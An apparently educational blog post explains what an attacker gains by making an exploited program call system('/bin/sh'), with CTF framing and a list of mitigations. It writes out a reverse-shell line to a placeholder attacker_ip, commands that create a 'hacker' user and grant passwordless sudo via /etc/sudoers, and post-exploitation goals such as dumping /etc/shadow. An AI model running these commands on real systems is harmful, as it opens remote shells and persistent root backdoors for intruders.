Calling system("/bin/sh") — a common goal in exploitation

 Calling system("/bin/sh") in an exploit gives the attacker a shell — specifically, a new instance of the Bourne shell (sh) — which runs with the same privileges as the exploited program.

---

🔓 So what can you do with system("/bin/sh")?

That depends on who owns the process you're exploiting:

---

🧑‍💻 If it's a normal user process:

You get a shell as that user, allowing you to:

• Read/write/modify their files.

• Access credentials (e.g., SSH keys, saved passwords).

• Modify or hijack scripts they use (for persistence).

• Dump memory or tokens (e.g., cookies, secrets).

• Set up backdoors or keyloggers.

---

👑 If it's a root process:

You get a root shell — this is game over. You can:

• Access and modify any file on the system.

• Add new users or escalate other accounts.

• Install malware, rootkits, or backdoors.

• Disable logging, hide your tracks.

• Dump password hashes (/etc/shadow) and crack them.

• Open reverse shells to maintain access.

• Disable or modify firewalls or security software.

---

⚠️ Real-World Example Use Cases

1. 🐚 Interactive Shell

You can interact with the target system just like you're logged in:

1 2 3

ls -la cd /home/victim/ cat .bash_history

2. 🎣 Create a Reverse Shell (connects back to your machine):

system("bash -i >& /dev/tcp/attacker_ip/4444 0>&1");

I also have posted a tuorial on reverse shell: Reverse Shell with NetCat. 

3. 🐘 Add a User:

useradd hacker -G sudo

echo "hacker:hackme" | chpasswd

 4. 🗃️ Modify /etc/sudoers:

echo "hacker ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers

🧪 In CTFs or Security Labs:

Calling system("/bin/sh") is usually the “win condition”, because:

• It proves you control the instruction pointer (EIP/RIP).

• It gives you interactive control.

• You can use it to read the flag, like:

cat /home/ctf/flag.txt

🔐 How Defenders Block This

Defensive features that block or mitigate this:

• ASLR (Address Space Layout Randomization)

• DEP/NX (Non-Executable stack)

• Stack canaries

• RELRO / PIE / Fortify

• seccomp sandboxing (blocks system calls)

• AppArmor / SELinux

---

✅ Summary

system("/bin/sh") gives you:
An interactive shell	as the target user
Read/write file access	to user-owned files
Escalation path	if misconfigurations exist
Remote access	via reverse shell
Root-level control	if the binary runs as root